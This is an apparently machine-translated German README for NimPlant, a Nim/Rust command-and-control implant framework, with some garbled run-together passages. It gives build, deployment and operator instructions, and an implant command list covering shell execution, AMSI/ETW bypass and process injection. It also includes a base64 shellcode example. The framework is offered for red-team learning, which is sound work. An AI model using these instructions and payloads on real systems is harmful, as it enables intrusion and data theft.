
Ein leichtgewichtiges C2-Implantat der ersten Stufe, geschrieben in Nim (und Rust).
Von Cas van Cooten (@chvancooten), mit besonderem Dank an einige großartige Leute:
Kadir Yamamoto (@yamakadi), Furkan Göksel (@frkngksl) , Fabian Mosch (@S3cur3Th1sSh1t), Rafael Félix (@b1scoito), Guillaume Caillé (@OffenseTeacher), und viele andere!
Falls NimPlant für Sie nützlich war und/oder Ihnen meine Arbeit im Allgemeinen gefällt, freue ich mich über Ihre Unterstützung:
inline-execute, shinject (dynamischer Aufruf), powershell in einem benutzerdefinierten Runspace oder execute-assembly im ThreadEine moderne Version von Python3 ist erforderlich, um Nimplant auszuführen.
requirements.txt aus dem Server-Ordner (pip3 install -r server/requirements.txt).choosenim wird empfohlen, da apt nicht immer die neueste Version hat).cd client; nimble install -d).mingw-Toolchain für Ihre Plattform (brew install mingw-w64 oder apt install mingw-w64).rustup wird empfohlen).rustup target add x86_64-pc-windows-gnu.~/.cargo/config.toml-Datei gemäß Cargo.toml und verwenden Sie die nächtliche Build-Kette (rustup default nightly).Hinweis: Selbst beim Kompilieren unter Windows wird das Ziel
x86_64-pc-windows-gnuempfohlen. Es führt zu etwas größeren Binärdateien, scheint jedoch stabiler zu sein, wenn aus der resultierenden DLL Shellcode generiert wird. Sie könnenrust-toolchain.tomländern, um das Ziel aufx86_64-pc-windows-msvczu ändern, aber generierter Shellcode funktioniert möglicherweise nicht in allen Fällen korrekt.
Erstellen Sie vor der Verwendung von NimPlant die Konfigurationsdatei config.toml. Es wird empfohlen, config.toml.example zu kopieren und von dort aus zu arbeiten.
Eine Übersicht der Einstellungen finden Sie unten.
Sobald die Konfiguration Ihren Wünschen entspricht, können Sie NimPlant-Binärdateien generieren, um sie auf Ihrem Ziel bereitzustellen. Derzeit unterstützt NimPlant .exe, .dll und .bin-Binärdateien für (selbstlöschende) ausführbare Dateien, Bibliotheken bzw. positionsunabhängigen Shellcode (über sRDI). Führen Sie zur Generierung python nimplant.py compile gefolgt von Ihren bevorzugten Binärdateien (exe, exe-selfdelete, dll, raw oder all) und optional dem Implantattyp (nim, rust, nim-debug oder rust-debug – standardmäßig wird Nim kompiliert) aus. Die Dateien werden in client/bin/ bzw. geschrieben.
Sie können das Argument rotatekey übergeben, um während der Kompilierung einen neuen XOR-Schlüssel zu generieren und zu verwenden.
Hinweise:
NimPlant unterstützt derzeit nur x64!
Der Einstiegspunkt für DLL-Dateien ist Update, der von DllMain für alle Einstiegspunkte ausgelöst wird. Das bedeutet, Sie können z. B. rundll32 .\NimPlant.dll,Update zum Auslösen verwenden oder Ihr bevorzugtes LOLBIN zum Sideloading nutzen (möglicherweise sind einige Änderungen in client/NimPlant.nim oder client-rs/src/lib.rs erforderlich).```
PS C:\NimPlant> python .\nimplant.py compile all
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 based on Nim|Rust and Python
By Cas van Cooten (@chvancooten)
Compiling .exe for NimPlant Compiling self-deleting .exe for NimPlant Compiling .dll for NimPlant Compiling .bin for NimPlant
Done compiling! You can find compiled binaries in 'client/bin/'.
### Kompilierung mit Docker
Die Verwendung von Docker ist einfach und vermeidet Abhängigkeitsprobleme, da alle erforderlichen Build- und Laufzeitabhängigkeiten im Container vorinstalliert sind.
Um Docker zu verwenden, können Sie den öffentlichen `chvancooten/nimplant`-Container von [Docker Hub](https://hub.docker.com/r/chvancooten/nimplant) (über CI/CD erstellt) nutzen oder das `Dockerfile` aus dem Quellcode erstellen.
> Um aus dem Quellcode zu erstellen, führen Sie Folgendes aus dem Hauptverzeichnis aus:
>
> ```bash
> docker build . -t nimplant
> ```
Dadurch wird ein Container mit dem Tag `nimplant:latest` erstellt. Hinweis: Dies kann aufgrund der Entwicklungsabhängigkeiten eine Weile dauern und einen beträchtlichen Container erzeugen!
Sobald dies erledigt ist, können Sie den Container über die Befehlszeile ausführen, um Ihre Artefakte zu kompilieren.```bash
docker run --rm -it -v ${PWD}:/nimplant chvancooten/nimplant:latest compile exe rust
Hinweis: Dies ist ein Beispielbefehl; achten Sie darauf, Argumente wie die gemounteten Volumes an Ihre Situation anzupassen.
Sobald Ihre Binärdateien bereit sind, können Sie Ihren NimPlant-Server starten! Wenn Sie lokal kompiliert haben, ist keine zusätzliche Konfiguration erforderlich, da er dieselbe config.toml-Datei liest. Um einen Server zu starten, führen Sie einfach python nimplant.py server aus (mit sudo-Rechten, falls unter Linux). Sie können die Konsole verwenden, sobald sich ein Nimplant eincheckt, oder über die Weboberfläche unter http://localhost:31337 (standardmäßig) darauf zugreifen.
Hinweise:
Wenn Sie Ihren NimPlant-Server extern von der Maschine ausführen, auf der die Binärdateien kompiliert wurden, stellen Sie sicher, dass sowohl config.toml als auch .xorkey übereinstimmen. Andernfalls kann NimPlant keine Verbindung herstellen.
Das Web-Frontend und die API unterstützen keine Authentifizierung, also setzen Sie den Frontend-Port nicht ungeschützt über einen Reverse Proxy Netzwerken aus, denen Sie nicht vertrauen!
Wenn NimPlant keine Verbindung zu einem Server herstellen kann oder die Verbindung verliert, wird es fünfmal mit einer exponentiellen Backoff-Zeit wiederholt, bevor es eine erneute Registrierung versucht. Schlägt die Registrierung fünf weitere Male fehl (gleiche Backoff-Logik), beendet es sich selbst. Der Backoff verdreifacht die Schlafzeit bei jedem fehlgeschlagenen Versuch. Wenn die Schlafzeit beispielsweise 10 Sekunden beträgt, wartet es 10, dann 30 (3^1 * 10), dann 90 (3^2 * 10), dann 270 (3^3 * 10), dann 810 Sekunden, bevor es aufgibt (diese Parameter sind fest codiert, können aber in client/NimPlant.nim geändert werden).
Logs werden im Verzeichnis server/logs gespeichert. Jede Serverinstanz erstellt einen neuen Log-Ordner, und die Logs werden pro Konsolen-/Nimplant-Sitzung aufgeteilt. Downloads und Uploads (einschließlich über die Web-GUI hochgeladener Dateien) werden in den Verzeichnissen server/uploads bzw. server/downloads gespeichert.
Nimplant- und Serverdetails werden in einer SQLite-Datenbank unter server/nimplant.db gespeichert. Diese Daten werden auch verwendet, um Nimplants nach einem Server-Neustart wiederherzustellen.
[06/02/2023 10:47:23] Started management server on http://127.0.0.1:31337. [06/02/2023 10:47:23] Started NimPlant listener on https://0.0.0.0:443. CTRL-C to cancel waiting for NimPlants.
Dies wird sowohl die C2 API und den Management-Webserver (im obigen Beispiel unter `http://127.0.0.1:31337`) als auch den NimPlant-Listener (im obigen Beispiel unter `https://0.0.0.0:443`) starten. Sobald ein NimPlant eincheckt, können Sie sowohl die Weboberfläche als auch die Konsole verwenden, um Befehle an NimPlant zu senden.
### Server mit Docker starten
Derselbe `chvancooten/nimplant`-Container, der zur Kompilierung verwendet werden kann, kann auch zum Ausführen des NimPlant-Servers verwendet werden. Damit NimPlant den Server erkennt, müssen die Dateien `config.toml` und `.xorkey` mit dem Rechner übereinstimmen, auf dem NimPlant kompiliert wurde (dies ist automatisch korrekt, wenn Sie denselben Docker-Container zur Kompilierung verwendet haben). Darüber hinaus muss die Datei `config.toml` korrekt für Docker konfiguriert sein, insbesondere muss die Management-Server-IP auf `0.0.0.0` gesetzt werden, um ihn über Docker zu erreichen (stellen Sie sicher, dass er nur auf dem lokalen Interface Ihres Hosts bereitgestellt wird).
Sie können einen NimPlant-Server mit dem folgenden Beispielbefehl starten:```bash
docker run --rm -it -p 80:80 -p 443:443 -p 127.0.0.1:31337:31337 -v ${PWD}:/nimplant -e "TZ=Europe/Amsterdam" chvancooten/nimplant:latest server
Hinweis: Dies ist ein Beispielbefehl. Passen Sie die Argumente wie die eingebundenen Volumes an Ihre Situation an.
Mit Docker können Sie problemlos komplexere Konfigurationen einrichten. Als Beispiel enthält das Verzeichnis docker-example eine Datei docker-compose.yml, die zeigt, wie NimPlant hinter einem Nginx-Redirector mit HTTPS und einer Dummy-Landingpage bereitgestellt wird.
Die verfügbaren Befehle sind wie folgt. Sie können detaillierte Hilfe zu jedem Befehl erhalten, indem Sie help [command] eingeben. Bestimmte mit (GUI) gekennzeichnete Befehle können bei Verwendung der Weboberfläche grafisch konfiguriert werden, indem Sie den Befehl ohne Argumente aufrufen.```
Command arguments shown as [required] .
Commands with (GUI) can be run without parameters via the web UI.
cancel Cancel all pending tasks. cat [filename] Print a file's contents to the screen. cd [directory] Change the working directory. clear Clear the screen. cp [source] [destination] Copy a file or directory. curl [url] Get a webpage remotely and return the results. download [remotefilepath] Download a file from NimPlant's disk to the NimPlant server. env Get environment variables. execute-assembly (GUI) <BYPASSAMSI=0> <BLOCKETW=0> [localfilepath] Execute .NET assembly from memory. AMSI/ETW patched by default. Loads the CLR. exit Exit the server, killing all NimPlants. getAv List Antivirus / EDR products on target using WMI. getDom Get the domain the target is joined to. getLocalAdm List local administrators on the target using WMI. getpid Show process ID of the currently selected NimPlant. getprocname Show process name of the currently selected NimPlant. help Show this help menu or command-specific help. hostname Show hostname of the currently selected NimPlant. inline-execute (GUI) [localfilepath] [entrypoint] Execute Beacon Object Files (BOF) from memory. ipconfig List IP address information of the currently selected NimPlant. kill Kill the currently selected NimPlant. list Show list of active NimPlants. listall Show list of all NimPlants. ls List files and folders in a certain directory. Lists current directory by default. mkdir [directory] Create a directory (and its parent directories if required). mv [source] [destination] Move a file or directory. nimplant Show info about the currently selected NimPlant. osbuild Show operating system build information for the currently selected NimPlant. powershell <BYPASSAMSI=0> <BLOCKETW=0> [command] Execute a PowerShell command in an unmanaged runspace. Loads the CLR. ps List running processes on the target. Indicates current process. pwd Get the current working directory. reg [query|add] [path] Query or modify the registry. New values will be added as REG_SZ. rm [file] Remove a file or directory. run [binary] Run a binary from disk. Returns output but blocks NimPlant while running. screenshot Take a screenshot of the user's screen. select [id] Select another NimPlant. shell [command] Execute a shell command. shinject (GUI) [targetpid] [localfilepath] Load raw shellcode from a file and inject it into the specified process's memory space using dynamic invocation. sleep [sleeptime] <jitter%> Change the sleep time of the current NimPlant. upload (GUI) [localfilepath] Upload a file from the NimPlant server to the victim machine. wget [url] Download a file to disk remotely. whoami Get the user ID that NimPlant is running as.
#### Verwenden von Beacon Object Files (BOFs)
**HINWEIS: BOFs sind von Natur aus flüchtig, und das Ausführen eines fehlerhaften BOFs oder die Übergabe falscher Argumente oder Typen kann Ihre NimPlant-Sitzung zum Absturz bringen! Testen Sie BOFs unbedingt vor dem Einsatz!**
NimPlant unterstützt das Laden von BOFs in den Arbeitsspeicher dank der großartigen Projekte [NiCOFF](https://github.com/frkngksl/NiCOFF) (Nim) und [Coffee](https://github.com/hakaioffsec/coffee) (Rust). Zum Ausführen eines BOFs werden eine lokale kompilierte BOF-Objektdatei (normalerweise so etwas wie `bofname.x64.o`), ein Einstiegspunkt (üblicherweise `go`) und eine Liste von Argumenten mit ihren jeweiligen Argumenttypen benötigt. Argumente werden als durch Leerzeichen getrenntes Paar `arg argtype` übergeben.
Argumente werden gemäß dem „Zzsib“-Format angegeben und können entweder `string` (Alias: `z`), `wstring` (oder `Z`), `integer` (Aliase: `int` oder `i`), `short` (`s`) oder `binary` (`bin` oder `b`) sein. Binäre Argumente können ein roher Binärstring oder Base64-kodiert sein, letzteres wird empfohlen, um ungültige Zeichen zu vermeiden.
Einige Beispiele zur Verwendung (unter Verwendung der großartigen TrustedSec BOFs [[1](https://github.com/trustedsec/CS-Situational-Awareness-BOF), [2](https://github.com/trustedsec/CS-Remote-OPs-BOF)] als Beispiel) werden unten gezeigt. Beachten Sie, dass `inline-execute` (ohne Argumente) verwendet werden kann, um den Befehl grafisch in der GUI zu konfigurieren.```bash
# Run a bof without arguments
inline-execute ipconfig.x64.o go
# Run the `dir` bof with one wide-string argument specifying the path to list, quoting optional
inline-execute dir.x64.o go "C:\Users\victimuser\desktop" Z
# Run an injection BOF specifying an integer for the process ID and base64-encoded shellcode as bytes
# Example shellcode generated with the command: msfvenom -p windows/x64/exec CMD=calc.exe EXITFUNC=thread -f base64
inline-execute /linux/path/to/createremotethread.x64.o go 1337 i /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYy5leGUA b
# Depending on the BOF, sometimes argument parsing is a bit different using NiCOFF
# Make sure arguments are passed as expected by the BOF (can usually be retrieved from .CNA or BOF source)
# An example:
inline-execute enum_filter_driver.x64.o go # CRASHES - default null handling does not work
inline-execute enum_filter_driver.x64.o go "" z # OK - arguments are passed as expected
Standardmäßig unterstützt NimPlant Push-Benachrichtigungen über den in server/util/notify.py definierten Hook notify_user(). Standardmäßig implementiert es eine einfache Telegram-Benachrichtigung, die das Setzen der Umgebungsvariablen TELEGRAM_CHAT_ID und TELEGRAM_BOT_TOKEN erfordert, bevor sie ausgelöst wird. Natürlich kann der Code leicht mit einer eigenen Push-Benachrichtigungsfunktionalität erweitert werden. Der Hook notify_user() wird aufgerufen, wenn sich ein neues NimPlant eincheckt, und erhält ein Objekt mit NimPlant-Details, die dann nach Wunsch weitergeleitet werden können.
Als normaler Benutzer sollten Sie die mit Nimplant gelieferte Benutzeroberfläche nicht ändern oder neu erstellen müssen. Falls Sie jedoch Änderungen vornehmen möchten, installieren Sie NodeJS und führen Sie ein npm install im Verzeichnis ui aus. Führen Sie dann ui/build-ui.py aus. Dies kümmert sich um das Herunterladen der Pakete, das Kompilieren des Next.JS-Frontends und das Ablegen der Dateien am richtigen Ort, damit der Nimplant-Server sie verwenden kann.
NimPlant wurde als Lernprojekt entwickelt und zur Transparenz und zu Bildungszwecken veröffentlicht. Die Umgehung von Antiviren- oder EDR-Erkennung ist kein Ziel der standardmäßigen Implantate. NimPlant unternimmt zu einem großen Teil keine Anstrengungen, seine Absichten zu verbergen. Zusätzlich wurden Schutzmaßnahmen implementiert, um Missbrauch zu verhindern. Mit anderen Worten: Verwenden Sie NimPlant NICHT unverändert in Produktionsumgebungen ohne gründliche Quellcode-Überprüfung und Modifikationen! Denken Sie auch daran, dass wie bei jedem C2-Framework der OPSEC-Fingerabdruck der Ausführung bestimmter Befehle vor dem Einsatz berücksichtigt werden sollte. NimPlant kann ohne OPSEC-riskante Befehle kompiliert werden, indem riskyMode in config.toml auf false gesetzt wird.
Es gibt viele Gründe, warum Nimplant möglicherweise nicht kompiliert oder ausgeführt wird. Wenn Sie auf Probleme stoßen, versuchen Sie bitte Folgendes (in dieser Reihenfolge):
server/logs auf Fehlernim-debug oder rust-debug, um mit Konsolen- und Debug-Nachrichten zu kompilieren (nur .exe), um zu sehen, ob Fehlermeldungen zurückgegeben werden| Kategorie | Einstellung | Beschreibung |
|---|
| server | ip | Die IP, auf der der C2-Webserver (einschließlich API) lauscht. Empfohlen wird die Verwendung von 127.0.0.1; verwenden Sie 0.0.0.0 nur, wenn Sie geeignete Firewall- oder Routing-Regeln eingerichtet haben, um die C2 zu schützen. |
| server | port | Der Port, auf dem der C2-Webserver (einschließlich API) lauscht. |
| listener | type | Der Listener-Typ, entweder HTTP oder HTTPS. HTTPS-Optionen werden unten konfiguriert. |
| listener | sslCertPath | Der lokale Pfad zu einer HTTPS-Zertifikatsdatei (z. B. über LetsEncrypt CertBot angefordert oder selbstsigniert). Wird ignoriert, wenn der Listener-Typ 'HTTP' ist. |
| listener | sslKeyPath | Der lokale Pfad zur entsprechenden privaten Schlüsseldatei des HTTPS-Zertifikats. Wenn ein Passwort festgelegt ist, wird es beim Ausführen des NimPlant-Servers abgefragt. Wird ignoriert, wenn der Listener-Typ 'HTTP' ist. |
| listener | hostname | Der Listener-Hostname. Wenn nicht leer (""), verwendet NimPlant diesen Hostnamen zur Verbindung. Stellen Sie sicher, dass Sie den Datenverkehr von diesem Host ordnungsgemäß zum NimPlant-Listener-Port leiten. |
| listener | ip | Die Listener-IP. Erforderlich, auch wenn 'hostname' gesetzt ist, da sie vom Server verwendet wird, um sich auf dieser IP zu registrieren. |
| listener | port | Der Listener-Port. Erforderlich, auch wenn 'hostname' gesetzt ist, da er vom Server verwendet wird, um sich auf diesem Port zu registrieren. |
| listener | registerPath | Der URI-Pfad, mit dem sich neue NimPlants registrieren. |
| listener | taskPath | Der URI-Pfad, von dem NimPlants Aufgaben erhalten. |
| listener | resultPath | Der URI-Pfad, an den NimPlants Ergebnisse übermitteln. |
| nimplant | riskyMode | Kompilieren Sie NimPlant mit Unterstützung für riskante Befehle. Ermessen des Bedieners angeraten. Durch Deaktivieren wird die Unterstützung für execute-assembly, powershell, shell und shinject entfernt. |
| nimplant | sleepMask | Gibt an, ob Ekko-Schlafmaske anstelle regulärer Schlafaufrufe für Nimplants verwendet werden soll. Funktioniert vorerst nur mit regulären ausführbaren Dateien! |
| nimplant | sleepTime | Die standardmäßige Schlafzeit in Sekunden für neue NimPlants. |
| nimplant | sleepJitter | Der standardmäßige Jitter in Prozent für neue NimPlants. |
| nimplant | killDate | Das Todesdatum für Nimplants (Format: yyyy-MM-dd). Nimplants beenden sich, wenn dieses Datum überschritten ist. |
| nimplant | userAgent | Der von NimPlants verwendete User-Agent. Der Server verwendet dies auch zur Validierung des NimPlant-Datenverkehrs, daher wird empfohlen, einen UA zu wählen, der unauffällig, aber nicht zu verbreitet ist. |
client-rs/bin/Logs, hoch-/heruntergeladene Dateien und die Datenbank können bereinigt werden, indem Sie nimplant.py mit dem Flag cleanup ausführen. Achtung: Dadurch wird alles gelöscht. Sichern Sie daher zuerst alles, was Sie benötigen!```
PS C:\NimPlant> python .\nimplant.py server
* *(# #
** **(## ##
######## ( ********
####(###########************,****
# ######## ******** *
.### ***
.######## ********
#### ### *** ****
######### ### *** *********
####### #### ## ** **** *******
##### ## * ** *****
###### #### ##*** **** .******
############### ***************
########## **********
#########**********
#######********
| \ | () __ ___ | _ | | __ _ _ __ | |_
| | | | '_ _ \| |_) | |/ _ | '_ | __|
| |\ | | | | | | | __/| | (| | | | | |
|| _||| || ||| ||_,|| ||_|
A light-weight stage 1 implant and C2 written in Nim|Rust and Python
By Cas van Cooten (@chvancooten)